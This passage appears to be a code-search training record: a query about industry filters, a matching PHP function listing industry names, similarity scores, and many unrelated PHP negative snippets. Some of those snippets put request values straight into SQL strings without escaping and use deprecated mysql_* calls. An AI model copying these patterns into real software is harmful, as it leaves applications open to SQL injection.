\tif (isset($pageTitle))\n \t\techo 'Tanqeeb | ' . $pageTitle;\n \telse\n \t\techo 'Tanqeeb';\n}", "public function before()\n\t{\n\n\t\tparent::before();\n\t\tif ($this->auto_render) { \n\t\t\t$this->template->title = 'Hector - ';\n\t\t\t$this->template->page_description = '';\n\t\t\t$this->template->navbar = '';\n\t\t\t$this->template->content = '';\n\t\t\t$this->template->styles = array();\n\t\t\t$this->template->scripts = array();\n\t\t\t$this->template->set_focus = '';\n\t\t}\n\t\t\n\t}", "public static function label()\n {\n return 'Settings';\n }", "function GetTitle() {\r\n global $PageTitle;\r\n if (isset($PageTitle)){echo $PageTitle;}else{echo 'BHM Accessories';}\r\n }", "public function _syncTitle() {}", "function shoestrap_empty_page_title() {}", "public function getTabTitle()\n {\n return Mage::helper('temando')->__('General');\n }" ]
[ "0.6847602", "0.6700238", "0.66547376", "0.661584", "0.659531", "0.64399016", "0.6439528", "0.63912666", "0.6350495", "0.634979", "0.63468724", "0.6298453", "0.62973124", "0.625905", "0.6218056", "0.6215139", "0.62010753", "0.6190596", "0.61375284", "0.612251", "0.6110169", "0.61037403", "0.6099131", "0.60939467", "0.6093426", "0.60885686", "0.6071289", "0.60658765", "0.6062003", "0.6053778", "0.6053058", "0.60491765", "0.6042567", "0.60388184", "0.60334307", "0.6032912", "0.6029714", "0.602534", "0.6002799", "0.59935445", "0.5993378", "0.5993054", "0.5991597", "0.5981942", "0.5979911", "0.5977197", "0.59771395", "0.5961529", "0.5960235", "0.5957514", "0.59541166", "0.5952045", "0.5951702", "0.59493625", "0.59434134", "0.59252465", "0.5915428", "0.59128606", "0.59080684", "0.59069055", "0.58930326", "0.58879566", "0.58876324", "0.5882783", "0.58807796", "0.58726066", "0.5872331", "0.5866471", "0.5857528", "0.5853158", "0.5849391", "0.58493227", "0.5843841", "0.584109", "0.58360124", "0.5831317", "0.5818578", "0.581688", "0.5812919", "0.5810125", "0.58088505", "0.5808025", "0.5806611", "0.5806332", "0.5804727", "0.5801995", "0.5797672", "0.57965153", "0.57915705", "0.57912153", "0.5777626", "0.5767626", "0.5762839", "0.5762497", "0.5756523", "0.5756169", "0.57556695", "0.5755645", "0.57527584", "0.57521963" ]
0.59117055
58
/ ==================================== FILTERS DETAILS ==================================== Industries
public static function filterIndustries() { return [ 'Agriculture, Forestry and Fishing', 'Mining', 'Manufacturing', 'Electricity, Gas, Water and Waste Services', 'Construction', 'Wholesale Trade', 'Retail Trade', 'Accommodation and Food Services', 'Transport, Postal and Warehousing', 'Information Media and Telecommunications', 'Financial and Insurance Services', 'Rental, Hiring and Real Estate Services', 'Professional, Scientific and Technical Services', 'Administrative and Support Services', 'Public Administration and Safety', 'Education and Training', 'Health Care and Social Assistance', 'Arts and Recreation Services', 'Other Services' ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getFilteredDetails();", "public function getFiltersIndustries(): array\n {\n $getColumnFilters = array(\n 'industries' => array(\n 'industryGroup' => array(),\n ),\n );\n\n try {\n $filterData = $this->getUniqueDataColumn($getColumnFilters);\n } catch (\\Exception $e) {\n return array('status' => 'error', 'message' => $e->getMessage());\n }\n\n return array('status' => 'success', 'result' => $filterData);\n }", "function ShowFilterList() {\n\t\tglobal $deals_details;\n\t\tglobal $ReportLanguage;\n\n\t\t// Initialize\n\t\t$sFilterList = \"\";\n\n\t\t// Field dealer\n\t\t$sExtWrk = \"\";\n\t\t$sWrk = \"\";\n\t\tewrpt_BuildDropDownFilter($deals_details->dealer, $sExtWrk, \"\");\n\t\tif ($sExtWrk <> \"\" || $sWrk <> \"\")\n\t\t\t$sFilterList .= $deals_details->dealer->FldCaption() . \"<br>\";\n\t\tif ($sExtWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sExtWrk<br>\";\n\t\tif ($sWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sWrk<br>\";\n\n\t\t// Field date_start\n\t\t$sExtWrk = \"\";\n\t\t$sWrk = \"\";\n\t\tewrpt_BuildDropDownFilter($deals_details->date_start, $sExtWrk, $deals_details->date_start->DateFilter);\n\t\tif ($sExtWrk <> \"\" || $sWrk <> \"\")\n\t\t\t$sFilterList .= $deals_details->date_start->FldCaption() . \"<br>\";\n\t\tif ($sExtWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sExtWrk<br>\";\n\t\tif ($sWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sWrk<br>\";\n\n\t\t// Field status\n\t\t$sExtWrk = \"\";\n\t\t$sWrk = \"\";\n\t\tewrpt_BuildDropDownFilter($deals_details->status, $sExtWrk, \"\");\n\t\tif ($sExtWrk <> \"\" || $sWrk <> \"\")\n\t\t\t$sFilterList .= $deals_details->status->FldCaption() . \"<br>\";\n\t\tif ($sExtWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sExtWrk<br>\";\n\t\tif ($sWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sWrk<br>\";\n\n\t\t// Show Filters\n\t\tif ($sFilterList <> \"\")\n\t\t\techo $ReportLanguage->Phrase(\"CurrentFilters\") . \"<br>$sFilterList\";\n\t}", "private function getOffersFilter($data){ \n \n $retArr['is_book'] = $data['is_book'];\n $retArr['is_travel'] = $data['is_travel'];\n $retArr['is_movies'] = $data['is_movies'];\n $retArr['is_shopping'] = $data['is_shopping'];\n $retArr['is_electronics'] = $data['is_electronics'];\n $retArr['is_music'] = $data['is_music'];\n $retArr['is_automobiles'] = $data['is_automobiles'];\n $retArr['cardholder_id'] = $data['cardholder_id'];\n $retArr['date_created'] = date('Y-m-d H:i:s');\n \n return $retArr;\n }", "public function rawFilter($filter) {\n\t\t$query = InventorySummary::orderBy('Client_SKU', 'asc');\n\t\tif(isset($filter['objectID']) && strlen($filter['objectID']) > 3) {\n\t\t\t$query = $query->where('objectID', 'like', $filter['objectID'] . '%');\n\t\t}\n\t\tif(isset($filter['Client_SKU']) && strlen($filter['Client_SKU']) > 3) {\n\t\t\t$query = $query->where('Client_SKU', 'like', $filter['Client_SKU'] . '%');\n\t\t}\n\t\tif(isset($filter['Description']) && strlen($filter['Description']) > 3) {\n\t\t\t$query = $query->where('Description', 'like', $filter['Description'] . '%');\n\t\t}\n\n /*\n * Pick face quantity choices\n */\n if(isset($filter['pickQty_rb'])) {\n if($filter['pickQty_rb'] == 'zero') {\n $query = $query->where('pickQty', '=', '0');\n } elseif($filter['pickQty_rb'] == 'belowMin') {\n $query = $query->where('pickQty', '<', '3');\n } elseif($filter['pickQty_rb'] == 'aboveMin') {\n $query = $query->where('pickQty', '>', '2');\n }\n }\n\n /*\n * Activity location quantity choices\n */\n if(isset($filter['actQty_rb'])) {\n if($filter['actQty_rb'] == 'zero') {\n $query = $query->where('actQty', '=', '0');\n } elseif($filter['actQty_rb'] == 'aboveZero') {\n $query = $query->where('actQty', '>', '0');\n }\n }\n\n /*\n * Reserve quantity choices\n */\n if(isset($filter['resQty_rb'])) {\n if($filter['resQty_rb'] == 'zero') {\n $query = $query->where('resQty', '=', '0');\n } elseif($filter['resQty_rb'] == 'aboveZero') {\n $query = $query->where('resQty', '>', '0');\n }\n }\n\n /*\n * Replen Priority choices\n */\n if(isset($filter['replenPrty_cb_noReplen'])\n or isset($filter['replenPrty_cb_20orBelow'])\n or isset($filter['replenPrty_cb_40orBelow'])\n or isset($filter['replenPrty_cb_60orBelow'])) {\n $query->where(function ($query) use ($filter) {\n if (isset($filter['replenPrty_cb_noReplen']) && $filter['replenPrty_cb_noReplen'] == 'on') {\n $query->orWhereNull('replenPrty')\n ->orWhere('replenPrty', '=', '0');\n }\n if (isset($filter['replenPrty_cb_20orBelow']) && $filter['replenPrty_cb_20orBelow'] == 'on') {\n $query->orWhereBetween('replenPrty', ['1', '20']);\n }\n if (isset($filter['replenPrty_cb_40orBelow']) && $filter['replenPrty_cb_40orBelow'] == 'on') {\n $query->orWhereBetween('replenPrty', ['21', '40']);\n }\n if (isset($filter['replenPrty_cb_60orBelow']) && $filter['replenPrty_cb_60orBelow'] == 'on') {\n $query->orWhereBetween('replenPrty', ['41', '60']);\n }\n });\n }\n //dd(__METHOD__.\"(\".__LINE__.\")\", compact('filter', 'query'));\n\n\t\tif(isset($filter['created_at']) && strlen($filter['created_at']) > 1) {\n\t\t\t$query = $query->where('created_at', 'like', $filter['created_at'] . '%');\n\t\t}\n\t\tif(isset($filter['updated_at']) && strlen($filter['updated_at']) > 1) {\n\t\t\t$query = $query->where('updated_at', 'like', $filter['updated_at'] . '%');\n\t\t}\n return $query;\n }", "function GetExtendedFilterValues() {\n\t\tglobal $deals_details;\n\n\t\t// Field dealer\n\t\t$sSelect = \"SELECT DISTINCT rep.dealer FROM \" . $deals_details->SqlFrom();\n\t\t$sOrderBy = \"rep.dealer ASC\";\n\t\t$wrkSql = ewrpt_BuildReportSql($sSelect, $deals_details->SqlWhere(), \"\", \"\", $sOrderBy, $this->UserIDFilter, \"\");\n\t\t$deals_details->dealer->DropDownList = ewrpt_GetDistinctValues(\"\", $wrkSql);\n\n\t\t// Field date_start\n\t\t$sSelect = \"SELECT DISTINCT rep.date_start FROM \" . $deals_details->SqlFrom();\n\t\t$sOrderBy = \"rep.date_start ASC\";\n\t\t$wrkSql = ewrpt_BuildReportSql($sSelect, $deals_details->SqlWhere(), \"\", \"\", $sOrderBy, $this->UserIDFilter, \"\");\n\t\t$deals_details->date_start->DropDownList = ewrpt_GetDistinctValues($deals_details->date_start->DateFilter, $wrkSql);\n\n\t\t// Field status\n\t\t$sSelect = \"SELECT DISTINCT rep.status FROM \" . $deals_details->SqlFrom();\n\t\t$sOrderBy = \"rep.status ASC\";\n\t\t$wrkSql = ewrpt_BuildReportSql($sSelect, $deals_details->SqlWhere(), \"\", \"\", $sOrderBy, $this->UserIDFilter, \"\");\n\t\t$deals_details->status->DropDownList = ewrpt_GetDistinctValues(\"\", $wrkSql);\n\t}", "function GetFilterList() {\n\n\t\t// Initialize\n\t\t$sFilterList = \"\";\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id->AdvancedSearch->ToJSON(), \",\"); // Field id\n\t\t$sFilterList = ew_Concat($sFilterList, $this->name->AdvancedSearch->ToJSON(), \",\"); // Field name\n\t\t$sFilterList = ew_Concat($sFilterList, $this->_email->AdvancedSearch->ToJSON(), \",\"); // Field email\n\t\t$sFilterList = ew_Concat($sFilterList, $this->companyname->AdvancedSearch->ToJSON(), \",\"); // Field companyname\n\t\t$sFilterList = ew_Concat($sFilterList, $this->servicetime->AdvancedSearch->ToJSON(), \",\"); // Field servicetime\n\t\t$sFilterList = ew_Concat($sFilterList, $this->country->AdvancedSearch->ToJSON(), \",\"); // Field country\n\t\t$sFilterList = ew_Concat($sFilterList, $this->phone->AdvancedSearch->ToJSON(), \",\"); // Field phone\n\t\t$sFilterList = ew_Concat($sFilterList, $this->skype->AdvancedSearch->ToJSON(), \",\"); // Field skype\n\t\t$sFilterList = ew_Concat($sFilterList, $this->website->AdvancedSearch->ToJSON(), \",\"); // Field website\n\t\t$sFilterList = ew_Concat($sFilterList, $this->linkedin->AdvancedSearch->ToJSON(), \",\"); // Field linkedin\n\t\t$sFilterList = ew_Concat($sFilterList, $this->facebook->AdvancedSearch->ToJSON(), \",\"); // Field facebook\n\t\t$sFilterList = ew_Concat($sFilterList, $this->twitter->AdvancedSearch->ToJSON(), \",\"); // Field twitter\n\t\t$sFilterList = ew_Concat($sFilterList, $this->active_code->AdvancedSearch->ToJSON(), \",\"); // Field active_code\n\t\t$sFilterList = ew_Concat($sFilterList, $this->identification->AdvancedSearch->ToJSON(), \",\"); // Field identification\n\t\t$sFilterList = ew_Concat($sFilterList, $this->link_expired->AdvancedSearch->ToJSON(), \",\"); // Field link_expired\n\t\t$sFilterList = ew_Concat($sFilterList, $this->isactive->AdvancedSearch->ToJSON(), \",\"); // Field isactive\n\t\t$sFilterList = ew_Concat($sFilterList, $this->pio->AdvancedSearch->ToJSON(), \",\"); // Field pio\n\t\t$sFilterList = ew_Concat($sFilterList, $this->google->AdvancedSearch->ToJSON(), \",\"); // Field google\n\t\t$sFilterList = ew_Concat($sFilterList, $this->instagram->AdvancedSearch->ToJSON(), \",\"); // Field instagram\n\t\t$sFilterList = ew_Concat($sFilterList, $this->account_type->AdvancedSearch->ToJSON(), \",\"); // Field account_type\n\t\t$sFilterList = ew_Concat($sFilterList, $this->logo->AdvancedSearch->ToJSON(), \",\"); // Field logo\n\t\t$sFilterList = ew_Concat($sFilterList, $this->profilepic->AdvancedSearch->ToJSON(), \",\"); // Field profilepic\n\t\t$sFilterList = ew_Concat($sFilterList, $this->mailref->AdvancedSearch->ToJSON(), \",\"); // Field mailref\n\t\t$sFilterList = ew_Concat($sFilterList, $this->deleted->AdvancedSearch->ToJSON(), \",\"); // Field deleted\n\t\t$sFilterList = ew_Concat($sFilterList, $this->deletefeedback->AdvancedSearch->ToJSON(), \",\"); // Field deletefeedback\n\t\t$sFilterList = ew_Concat($sFilterList, $this->account_id->AdvancedSearch->ToJSON(), \",\"); // Field account_id\n\t\t$sFilterList = ew_Concat($sFilterList, $this->start_date->AdvancedSearch->ToJSON(), \",\"); // Field start_date\n\t\t$sFilterList = ew_Concat($sFilterList, $this->end_date->AdvancedSearch->ToJSON(), \",\"); // Field end_date\n\t\t$sFilterList = ew_Concat($sFilterList, $this->year_moth->AdvancedSearch->ToJSON(), \",\"); // Field year_moth\n\t\t$sFilterList = ew_Concat($sFilterList, $this->registerdate->AdvancedSearch->ToJSON(), \",\"); // Field registerdate\n\t\t$sFilterList = ew_Concat($sFilterList, $this->login_type->AdvancedSearch->ToJSON(), \",\"); // Field login_type\n\t\t$sFilterList = ew_Concat($sFilterList, $this->accountstatus->AdvancedSearch->ToJSON(), \",\"); // Field accountstatus\n\t\t$sFilterList = ew_Concat($sFilterList, $this->ispay->AdvancedSearch->ToJSON(), \",\"); // Field ispay\n\t\t$sFilterList = ew_Concat($sFilterList, $this->profilelink->AdvancedSearch->ToJSON(), \",\"); // Field profilelink\n\t\t$sFilterList = ew_Concat($sFilterList, $this->source->AdvancedSearch->ToJSON(), \",\"); // Field source\n\t\t$sFilterList = ew_Concat($sFilterList, $this->agree->AdvancedSearch->ToJSON(), \",\"); // Field agree\n\t\t$sFilterList = ew_Concat($sFilterList, $this->balance->AdvancedSearch->ToJSON(), \",\"); // Field balance\n\t\t$sFilterList = ew_Concat($sFilterList, $this->job_title->AdvancedSearch->ToJSON(), \",\"); // Field job_title\n\t\t$sFilterList = ew_Concat($sFilterList, $this->projects->AdvancedSearch->ToJSON(), \",\"); // Field projects\n\t\t$sFilterList = ew_Concat($sFilterList, $this->opportunities->AdvancedSearch->ToJSON(), \",\"); // Field opportunities\n\t\t$sFilterList = ew_Concat($sFilterList, $this->isconsaltant->AdvancedSearch->ToJSON(), \",\"); // Field isconsaltant\n\t\t$sFilterList = ew_Concat($sFilterList, $this->isagent->AdvancedSearch->ToJSON(), \",\"); // Field isagent\n\t\t$sFilterList = ew_Concat($sFilterList, $this->isinvestor->AdvancedSearch->ToJSON(), \",\"); // Field isinvestor\n\t\t$sFilterList = ew_Concat($sFilterList, $this->isbusinessman->AdvancedSearch->ToJSON(), \",\"); // Field isbusinessman\n\t\t$sFilterList = ew_Concat($sFilterList, $this->isprovider->AdvancedSearch->ToJSON(), \",\"); // Field isprovider\n\t\t$sFilterList = ew_Concat($sFilterList, $this->isproductowner->AdvancedSearch->ToJSON(), \",\"); // Field isproductowner\n\t\t$sFilterList = ew_Concat($sFilterList, $this->states->AdvancedSearch->ToJSON(), \",\"); // Field states\n\t\t$sFilterList = ew_Concat($sFilterList, $this->cities->AdvancedSearch->ToJSON(), \",\"); // Field cities\n\t\t$sFilterList = ew_Concat($sFilterList, $this->offers->AdvancedSearch->ToJSON(), \",\"); // Field offers\n\t\tif ($this->BasicSearch->Keyword <> \"\") {\n\t\t\t$sWrk = \"\\\"\" . EW_TABLE_BASIC_SEARCH . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Keyword) . \"\\\",\\\"\" . EW_TABLE_BASIC_SEARCH_TYPE . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Type) . \"\\\"\";\n\t\t\t$sFilterList = ew_Concat($sFilterList, $sWrk, \",\");\n\t\t}\n\n\t\t// Return filter list in json\n\t\treturn ($sFilterList <> \"\") ? \"{\" . $sFilterList . \"}\" : \"null\";\n\t}", "public function front_get_all_deals_of_firm_paged($firm_id,$filter_arr,$start_offset,$num_to_fetch,&$data_arr,&$data_count){\n global $g_mc;\n\t\t\n\t\t/******************\n\t\tsng:8/aug/2012\n\t\t\n\t\tNow we no longer use the deal_country, deal_sector, deal_industry csv fields. We check the hq_country, sector, industry fields of\n\t\tthe participating companies and use only those deal records (in other words, we are now filtering using attributes of the companies and\n\t\tif that is required, we check it first)\n\t\t\n\t\tIf country is specified, region is ignored \n *************************/\n\t\t$filter_by_company_attrib = \"\";\n\t\tif(isset($filter_arr['country'])&&($filter_arr['country']!=\"\")){\n\t\t\tif($filter_by_company_attrib != \"\"){\n\t\t\t\t$filter_by_company_attrib = $filter_by_company_attrib.\" AND \";\n\t\t\t}\n\t\t\t$filter_by_company_attrib.=\"hq_country='\".mysql_real_escape_string($filter_arr['country']).\"'\";\n\t\t}else{\n\t\t\t/**********\n\t\t\tmight check region. Associated with a region is one or more countries\n\t\t\tWe can use IN clause, that is hq_country IN (select country names for the given region), but it seems that\n\t\t\tit is much faster if we first get the country names and then create the condition with OR, that is\n\t\t\t(hq_country='Brazil' OR hq_country='Russia') etc\n\t\t\t***********/\n\t\t\tif(isset($filter_arr['region'])&&($filter_arr['region']!=\"\")){\n\t\t\t\t//get the country names for this region name\n\t\t\t\t$region_q = \"SELECT ctrym.name FROM \".TP.\"region_master AS rgnm LEFT JOIN \".TP.\"region_country_list AS rcl ON ( rgnm.id = rcl.region_id ) LEFT JOIN \".TP.\"country_master AS ctrym ON ( rcl.country_id = ctrym.id )\nWHERE rgnm.name = '\".mysql_real_escape_string($filter_arr['region']).\"'\";\n\t\t\t\t$region_q_res = mysql_query($region_q);\n\t\t\t\tif(!$region_q_res){\n\t\t\t\t\t\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t$region_q_res_cnt = mysql_num_rows($region_q_res);\n\t\t\t\t$region_clause = \"\";\n\t\t\t\tif($region_q_res_cnt > 0){\n\t\t\t\t\twhile($region_q_res_row = mysql_fetch_assoc($region_q_res)){\n\t\t\t\t\t\t$region_clause.=\"|hq_country='\".mysql_real_escape_string($region_q_res_row['name']).\"'\";\n\t\t\t\t\t}\n\t\t\t\t\t$region_clause = substr($region_clause,1);\n\t\t\t\t\t$region_clause = str_replace(\"|\",\" OR \",$region_clause);\n\t\t\t\t\t$region_clause = \"(\".$region_clause.\")\";\n\t\t\t\t}\n\t\t\t\tif($region_clause!=\"\"){\n\t\t\t\t\tif($filter_by_company_attrib != \"\"){\n\t\t\t\t\t\t$filter_by_company_attrib = $filter_by_company_attrib.\" AND \";\n\t\t\t\t\t}\n\t\t\t\t\t$filter_by_company_attrib.=$region_clause;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\t\n\t\tif(isset($filter_arr['sector'])&&($filter_arr['sector']!=\"\")){\n\t\t\tif($filter_by_company_attrib != \"\"){\n\t\t\t\t$filter_by_company_attrib = $filter_by_company_attrib.\" AND \";\n\t\t\t}\n\t\t\t$filter_by_company_attrib.=\"sector='\".mysql_real_escape_string($filter_arr['sector']).\"'\";\n\t\t}\n\t\t\t\n\t\tif(isset($filter_arr['industry'])&&($filter_arr['industry']!=\"\")){\n\t\t\tif($filter_by_company_attrib != \"\"){\n\t\t\t\t$filter_by_company_attrib = $filter_by_company_attrib.\" AND \";\n\t\t\t}\n\t\t\t$filter_by_company_attrib.=\"industry='\".mysql_real_escape_string($filter_arr['industry']).\"'\";\n\t\t}\n\t\t\n\t\t/**********\n\t\tsng:8/aug/2012\n\t\tNow add the snippets\n\t\t\n\t\tWe use a join instead of IN clause for filter by company attribute\n\t\t\n\t\tNot LEFT join because assume that transaction_partners has T!, T2, T3 and fca has T1, T2. Left join will match T1, T2 and also T3 (with NULL\n\t\ton right)\n\t\t************/\n $q = \"select c.company_id,c.name,t.id,t.value_in_billion,t.date_of_deal,t.deal_cat_name,t.deal_subcat1_name,t.deal_subcat2_name,target_company_name from \".TP.\"transaction_partners as p \";\n\t\t\n\t\tif($filter_by_company_attrib != \"\"){\n\t\t\t$q.=\"INNER JOIN (SELECT DISTINCT transaction_id from \".TP.\"transaction_companies as fca_tc left join \".TP.\"company as fca_c on(fca_tc.company_id=fca_c.company_id) where fca_c.type='company' AND \".$filter_by_company_attrib.\") AS fca ON (p.transaction_id=fca.transaction_id) \";\n\t\t}\n\t\t\n\t\t$q.=\"left join \".TP.\"transaction as t on\";\n\t\t\n\t\tif($filter_by_company_attrib != \"\"){\n\t\t\t$q.=\"(fca.transaction_id=t.id) \";\n\t\t}else{\n\t\t\t$q.=\"(p.transaction_id=t.id) \";\n\t\t}\n\t\t/************\n\t\tsng:8/aug/2012\n\t\tWe only get active deals\n\t\t***************/\n\t\t$q.=\"left join \".TP.\"company as c on(t.company_id=c.company_id) where t.is_active='y' AND partner_id='\".$firm_id.\"'\";\n \n //filter on transaction types\n if($filter_arr['deal_cat_name']!=\"\"){\n $q.=\" and deal_cat_name='\".$filter_arr['deal_cat_name'].\"'\";\n }\n if($filter_arr['deal_subcat1_name']!=\"\"){\n $q.=\" and deal_subcat1_name='\".$filter_arr['deal_subcat1_name'].\"'\";\n }\n if($filter_arr['deal_subcat2_name']!=\"\"){\n $q.=\" and deal_subcat2_name='\".$filter_arr['deal_subcat2_name'].\"'\";\n }\n /***\n The year can be in a range like 2009-2010 or it may be a single like 2009\n *******/\n if($filter_arr['year']!=\"\"){\n $year_tokens = explode(\"-\",$filter_arr['year']);\n $year_tokens_count = count($year_tokens);\n if($year_tokens_count == 1){\n //singleton year\n $q.=\" and year(date_of_deal)='\".$year_tokens[0].\"'\";\n }\n if($year_tokens_count == 2){\n //range year\n $q.=\" and year(date_of_deal)>='\".$year_tokens[0].\"' AND year(date_of_deal)<='\".$year_tokens[1].\"'\";\n }\n }\n /***\n sng:23/july/2010\n filter deal_size. The value is either blank or like >=deal value in billion or <=deal value in billion\n\t\t\n\t\tsng:7/sep/2012\n\t\tbetter pass through util::decode_deal_size\n ***/\n if($filter_arr['deal_size']!=\"\"){\n\t\t\t$filter_arr['deal_size'] = Util::decode_deal_size($filter_arr['deal_size']);\n $q.=\" and value_in_billion\".$filter_arr['deal_size'];\n }\n\t\t/**************\n\t\tsng:5/sep/2012\n\t\tWe need to exclude inactive deals\n\t\tWe exclude 'announced' Debt / Equity deals and M&A deals that are explicitly marked (in_calculation=0)\n\t\tWe use the alias t to mark the transaction table (just to be safe since other tables can have those fields)\n\t\t****************/\n\t\t$q.=\" and t.is_active='y' and t.in_calculation='1'\";\n /*********************************************************************************\n sng:4/dec/2010\n we no longer use the country of the company. We use the deal_country or transaction.\n Same for sector and industry\n\t\t\n\t\tsng:8/aug/2012\n\t\tNow we have participating companies for a deal and we now check the country/sector/industry of participating\n\t\tcompanies and the deals done by those companies instead of checking the deal_country, deal_sector, deal_industry (all csv) of transaction table\n\t\t\n\t\tThe check is way up since we require a join\n ****************/\n \n /**********************************************************************************/\n \n \n $q.=\" order by t.date_of_deal desc, t.id DESC limit \".$start_offset.\",\".$num_to_fetch;\n //echo $q;\n $res = mysql_query($q);\n if(!$res){\n //echo mysql_error();\n return false;\n }\n //////////////////////\n $data_count = mysql_num_rows($res);\n if(0==$data_count){\n return true;\n }\n ////////////////////\n\t\t/*********************\n\t\tsng:8/aug/2012\n\t\tNow we have one or more participants for a deal\n\t\t*******************/\n\t\trequire_once(\"classes/class.transaction_company.php\");\n\t\t$g_trans_comp = new transaction_company();\n\t\t\n for($i=0;$i<$data_count;$i++){\n $data_arr[$i] = mysql_fetch_assoc($res);\n $data_arr[$i]['name'] = $g_mc->db_to_view($data_arr[$i]['name']);\n $data_arr[$i]['target_company_name'] = $g_mc->db_to_view($data_arr[$i]['target_company_name']);\n //set bankers and law firms\n $transaction_id = $data_arr[$i]['id'];\n $data_arr[$i]['banks'] = array();\n $data_cnt = 0;\n $success = $this->get_all_partner($transaction_id,\"bank\",$data_arr[$i]['banks'],$data_cnt);\n if(!$success){\n return false;\n }\n ///////////////////////////\n $data_arr[$i]['law_firms'] = array();\n $data_cnt = 0;\n $success = $this->get_all_partner($transaction_id,\"law firm\",$data_arr[$i]['law_firms'],$data_cnt);\n if(!$success){\n return false;\n }\n\t\t\t/****************\n\t\t\tsng:8/aug/2012\n\t\t\tget the deal participants, just the names\n\t\t\t************/\n\t\t\t$data_arr[$i]['participants'] = NULL;\n\t\t\t$success = $g_trans_comp->get_deal_participants($transaction_id,$data_arr[$i]['participants']);\n\t\t\tif(!$success){\n\t\t\t\treturn false;\n\t\t\t}\n }\n return true;\n }", "private static function _getFilter() {}", "public function filtering();", "function LocalidadFilter( $Filter )\n {\n if( !empty($Filter->Loc) ) \n {\n $Loc = $Filter->Loc;\n return 'AND pLoc=\"'.$Loc.'\" ';\n }\n \n if( isset( $Filter->Prov ) ) \n return 'AND pProv='.$Filter->Prov.' ';\n\n return ''; \n }", "public function filterIndustry($industrys)\n {\n //get list of alumni from the same school as the coach\n $programsid = Auth::user()->programs_id;\n //filter alumni by industry\n $alumni = Alumni::where('programs_id', '=', $programsid)->where('industry', '=', $industrys)->orderBy('industry', 'asc')->get();\n\n $industry = Alumni::whereNotNull('industry')->orderBy('industry', 'asc')->pluck('industry')->unique();\n $gradYear = Alumni::whereNotNull('gradYear')->orderBy('gradYear', 'asc')->pluck('gradYear')->unique();\n $company = Alumni::whereNotNull('company')->orderBy('company', 'asc')->pluck('company')->unique();\n \n return view('Coach/alumSearch', compact('alumni', 'industry', 'gradYear', 'company'));\n }", "public static function get_allowed_industries() {\n\t\t/* With \"use_description\" we turn the description input on. With \"description_label\" we set the input label */\n\t\treturn apply_filters(\n\t\t\t'woocommerce_admin_onboarding_industries',\n\t\t\tarray(\n\t\t\t\t'fashion-apparel-accessories' => array(\n\t\t\t\t\t'label' => __( 'Fashion, apparel, and accessories', 'woocommerce' ),\n\t\t\t\t\t'use_description' => false,\n\t\t\t\t\t'description_label' => '',\n\t\t\t\t),\n\t\t\t\t'health-beauty' => array(\n\t\t\t\t\t'label' => __( 'Health and beauty', 'woocommerce' ),\n\t\t\t\t\t'use_description' => false,\n\t\t\t\t\t'description_label' => '',\n\t\t\t\t),\n\t\t\t\t'electronics-computers' => array(\n\t\t\t\t\t'label' => __( 'Electronics and computers', 'woocommerce' ),\n\t\t\t\t\t'use_description' => false,\n\t\t\t\t\t'description_label' => '',\n\t\t\t\t),\n\t\t\t\t'food-drink' => array(\n\t\t\t\t\t'label' => __( 'Food and drink', 'woocommerce' ),\n\t\t\t\t\t'use_description' => false,\n\t\t\t\t\t'description_label' => '',\n\t\t\t\t),\n\t\t\t\t'home-furniture-garden' => array(\n\t\t\t\t\t'label' => __( 'Home, furniture, and garden', 'woocommerce' ),\n\t\t\t\t\t'use_description' => false,\n\t\t\t\t\t'description_label' => '',\n\t\t\t\t),\n\t\t\t\t'cbd-other-hemp-derived-products' => array(\n\t\t\t\t\t'label' => __( 'CBD and other hemp-derived products', 'woocommerce' ),\n\t\t\t\t\t'use_description' => false,\n\t\t\t\t\t'description_label' => '',\n\t\t\t\t),\n\t\t\t\t'education-and-learning' => array(\n\t\t\t\t\t'label' => __( 'Education and learning', 'woocommerce' ),\n\t\t\t\t\t'use_description' => false,\n\t\t\t\t\t'description_label' => '',\n\t\t\t\t),\n\t\t\t\t'other' => array(\n\t\t\t\t\t'label' => __( 'Other', 'woocommerce' ),\n\t\t\t\t\t'use_description' => true,\n\t\t\t\t\t'description_label' => 'Description',\n\t\t\t\t),\n\t\t\t)\n\t\t);\n\t}", "public function industryList()\n {\n $industry = new Industry();\n\n $output = $industry::all();\n\n return $output;\n\n }", "public function get_filters($vars=array()) {\n\n if(!empty($vars))\n { \n $activities = (isset($vars['activities']) && ($vars['activities']!=\"\")) ? $vars['activities'] : \"\";\n $environment = (isset($vars['environment']) && ($vars['environment']!=\"\")) ? $vars['environment'] : \"\";\n $weather = (isset($vars['weather']) && ($vars['weather']!=\"\")) ? $vars['weather'] : \"\"; \n $season = (isset($vars['season']) && ($vars['season']!=\"\")) ? $vars['season'] : \"\";\n $continent = (isset($vars['destination_continent']) && ($vars['destination_continent']!=\"\")) ? $vars['destination_continent'] : \"\";\n $destination = (isset($vars['destination_city']) && ($vars['destination_city']!=\"\")) ? $vars['destination_city'] : \"\";\n \n $age_group = (isset($vars['age_group']) && ($vars['age_group']!=\"\")) ? $vars['age_group'] : \"\";\n $price_from = (isset($vars['price_from']) && ($vars['price_from']!=\"\")) ? $vars['price_from'] : 0;\n $price_to = (isset($vars['price_to']) && ($vars['price_to']!=\"\")) ? $vars['price_to'] : 0;\n $departure_date = (isset($vars['departure_date']) && ($vars['departure_date']!=\"\")) ? $vars['departure_date'] : \"\";\n $return_date = (isset($vars['return_date']) && ($vars['return_date']!=\"\")) ? $vars['return_date'] : \"\";\n \n if(($season != \"\") || ($destination != \"\") || ($environment != \"\") || ($continent != \"\") || \n ($age_group != \"\") || ($price_from != \"\") || ($weather != \"\") || ($activities != \"\"))\n { \n $condition = \"1=1\";\n if($season != \"\")\n { \n $condition .=\" AND (Season LIKE '%$season%')\";\n }\n if($destination != \"\")\n { \n $condition .=\" AND (City LIKE '%$destination%')\";\n }\n if($environment != 